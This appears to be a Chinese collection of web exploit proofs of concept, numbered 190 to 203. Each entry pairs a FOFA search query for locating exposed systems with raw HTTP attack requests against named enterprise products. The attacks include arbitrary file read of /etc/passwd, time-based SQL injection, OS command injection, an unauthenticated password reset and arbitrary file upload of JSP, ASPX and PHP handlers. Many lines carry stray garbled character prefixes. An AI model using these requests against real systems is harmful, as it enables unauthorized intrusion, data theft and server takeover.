190. 短视频矩阵营销系统 poihuoqu 任意文件读取
, ]% X9 u4 X; pFOFA：title=="短视频矩阵营销系统"
$ Q5 v  k. a! c7 A& D/ vPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
+ l) R# j2 k4 ~) P5 P7 w4 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
' j- N. t9 H5 w6 ?; j+ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 l* ?" J# {( Z: vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. L, x* ?' {  eAccept-Language: zh-CN,zh;q=0.9
; ~1 V% K0 c2 h+ D6 N  G. a
poi=file:///etc/passwd
$ a' X- V* u% B3 G1 @

) r& m8 r+ J- W* V" B5 `191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& x1 c6 [" b& d4 C: w% R' i+ kContent-Type: application/x-www-form-urlencoded

1 [5 r( S& ]$ hcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
5 ]) o! v3 Z' o. M

/ F- Q6 D  K: b1 V# x192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( N4 Z) s7 T+ nFOFA：title="用户登录_富通天下外贸ERP"
$ S  B7 D; u% U7 H* H+ b+ vPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
" @: v$ x6 C# o' n) R8 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

& w$ z- g7 p5 P- F. ~1 M1 j
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
) `2 F( M, t. Q4 Z% V5 dusing System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
6 \# Q" R' C+ Y& ]. ]2 ypublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ x1 N4 l( E% ?FOFA：body="山石云鉴主机安全管理系统"
2 W( Q! F9 b; y# N  \GET /master/ajaxActions/getTokenAction.php HTTP/1.1
0 `5 ~9 V7 X' W2 p7 a+ G( [1 AHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
! u( \0 v) \9 k/ _* R3 K& BUser-Agent: Mozilla/5.0
* N) v  Y& ~/ ^8 ]! q& N/ N

: G1 e9 |7 r  o* w) Y: yPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
- P6 z3 F0 r1 D2 kHost:
User-Agent: Mozilla/5.0
+ t0 K7 \% K* B- WAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
. Q* l  I2 K" x. N. m
* b( ]' F3 W0 }param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

. ?& r" W! l' c
+ T9 t2 S3 Q- p* hGET /master/img/config HTTP/1.1
% d9 W3 u9 i; {, {( sHost:
User-Agent: Mozilla/5.0


& s6 K9 F% i! A6 A194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
: ^, Q3 y0 L- y9 I1 h; P! J% MFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
9 R/ ]6 g2 [9 N* g  E$ D4 {% H# V
POST /servlet/uploadAttachmentServlet HTTP/1.1
# L6 `+ c6 r; A( X1 qHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
2 ]' j% l6 z) o! k6 e: ?6 I! hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, e4 Y- E- P4 h4 f5 H) XConnection: close
  ^- }0 L: \1 l, @& G! o- a3 sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 u; g9 y; k2 n) O1 e6 P* b------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& l0 N5 D! f8 p1 a
$ R4 H* _4 S' V& L4 WContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
+ F; [5 C: q5 m. j  `: N. ]1 ?<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- E. G! _% S4 I. w2 g7 S# KContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
/ D# q, n& z1 K# ^- f7 v
9 F( k1 C. a3 f7 y; ^- ~' e1 C
7 |7 A% ?+ _1 ~$ }" e# {' F+ F195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
) u7 E7 B! ~8 zPOST /send_order.cgi?parameter=operation HTTP/1.1
5 Q; \3 A( K. q0 n! z2 kHost: 127.0.0.1
+ r6 e" E2 C8 H8 [' O8 X  M* hPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 e( ?7 A/ b9 QAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. H& i  J. }: n- TConnection: close
! s/ ^3 e8 y8 m4 S+ iContent-Type: application/x-www-form-urlencoded
& Y, E/ @8 A' _4 v) |Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
% U6 k# B9 V$ v: i- }
7 F* u! k! \; y+ I
# O$ |. B- Y: X+ a% @: u196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
2 M1 l+ w' I) Z- o5 x+ h* mPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
0 A, d+ [8 o2 |7 }* kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) S+ ?0 w/ s( ^- ?Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
, {3 i9 z$ R' n9 }Content-Length: 45
Connection: close

  J3 V' }1 f9 |5 O& f. I& c{"xgh":"test","newPass":"test666","email":""}


0 F$ [* s% Y# G0 W& l2 F
. B# f) D+ v; E: i( N197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
/ ~% l& P+ |7 eGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
: S7 Q& W( E) F$ X- U3 \  t/ G' P2 C0 EConnection: close

& ?- W# J& H) N! j& n% g
# E' L3 |$ m8 Z
198.  阿里云盘 WebDAV 命令注入
2 L, ]9 \+ d( J1 b1 u0 fCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
: v* R2 `) Y9 D9 t7 YCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
9 y# T( N" d4 \6 _- t9 @Accept-Encoding: gzip, deflate
: r  B3 K& j" c) ZAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
1 b0 i, k1 X1 v2 Z( A+ _Connection: close
8 g5 H, u1 E; s1 I7 C# N
+ B. `7 ]. ?& [7 Y. X. D6 C8 y
  v( h+ h* i2 O6 A  D. i199. cockpit系统assetsmanager_upload接口 文件上传
# h  J5 A2 `  w2 M8 q. s
( Y( d$ Q( S+ `$ Y8 U$ o) O( s+ v1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
8 J5 G) n0 ]& l- \, G/ p# PGET /auth/login?to=/ HTTP/1.1
# a8 }8 q  @4 B% Z
! o4 `8 n2 e1 _响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
1 v* w6 T; ^- Q* R( ^/ uContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

) b$ i9 q; @9 a& h5 ]7 q响应：200，返回值:
) s. Q- `- b& _/ _; lSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
* b3 B& p* `* Y1 U' TPOST /assetsmanager/upload HTTP/1.1
5 X9 `. R  h% {% j( r) dContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
: |, c( T, {" h# z8 @1 a; E3 t( ~
: O! q0 N) X2 u# E+ Q5 q) ~-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
% X+ n) T1 J6 M: _8 kContent-Type: text/php
- U' ?0 F/ e) c, _  d
. O# A( n3 _8 @<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
8 P6 T1 X1 J( u- h- U/ E' k9 ^Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
  c: d9 @' i0 r! V* v( M/ }; x1 _

* q7 H/ i6 t: h6 A, s6 F/storage/uploads/tttt.php
) _' l% n( E- C5 g- K
; Y6 N" @9 p3 Z200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
4 x) H: b3 M7 P4 C6 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 e) V. g/ v( S5 D1 @: sAccept-Language: zh-CN,zh;q=0.9

6 {7 ^8 U( u3 S2 b- e$ E" h0 K
% r6 ]6 T" H" i: O/ }201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
. R/ z  P  B# _& W: m8 rPOST /newsedit/newsplan/task/binary.do HTTP/1.1
/ S- X6 w# v& H4 T1 b2 VContent-Type: application/x-www-form-urlencoded
; z- N% W( P& j8 j* XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 M8 d# Q  n% @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 ~+ C8 D4 v( E% L/ MConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
. Y% `( ^; R/ v9 {. `5 ~1 t

. F* O! h+ t' c! B202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
' C+ Y8 T7 n% s! |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

9 V: {, d7 t+ e$ G, P5 p5 h% x
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
5 B- |* a1 b) P0 X8 R' H7 eAccept-Encoding: gzip, deflate, br
* Y3 |' n3 K" _& NContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
+ V9 ~* Z" h4 L8 T) s( }0 T' qContent-Disposition: form-data; name="__VIEWSTATE"

, G: y! s4 \& R6 L: f" G- s1 J# b__VIEWSTATE
) @3 U/ \: O  m2 ~8 }  `) Q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
. W6 }9 ?! C8 M; c$ d
2 Z- F$ O0 M' f& c__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

# Q' {( x/ _/ P" F3 I( A' i# A( JHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

; z- M4 R9 m$ S上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
& G; W7 T2 ]) H

-----------------------------786435874t38587593865736587346567358735687
/ i, p7 t# U0 \1 q- M0 s, qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
& a7 p: a6 q  f- O! F

" N4 R3 Z& V0 T3 H9 H  e-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt
# J/ S; s' [! h2 N4 w$ F1 U0 H
4 n1 l0 I) u0 S203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
. k1 `7 {' k( \: X6 U7 X' V# AAccept-Encoding: gzip
8 l( X& b' C% u% V9 Y% y' |9 u; }6 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 G4 i9 B8 k( JContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
7 D6 }  o3 L. e: D1 \
% N4 c  c3 Y7 `) i$ L( Z8 L------WebKitFormBoundaryt7WbDl1tXogoZys4
8 g) C" o7 F( Y8 _7 bContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
  k# h& b" X4 S5 b5 r) _4 |8 F% z6 D------WebKitFormBoundaryt7WbDl1tXogoZys4--
% w5 m) y8 {3 a8 o; S( W' S


) ~- }6 {* G& v& Y) i
& F" w) e# }9 d9 r% H$ G( r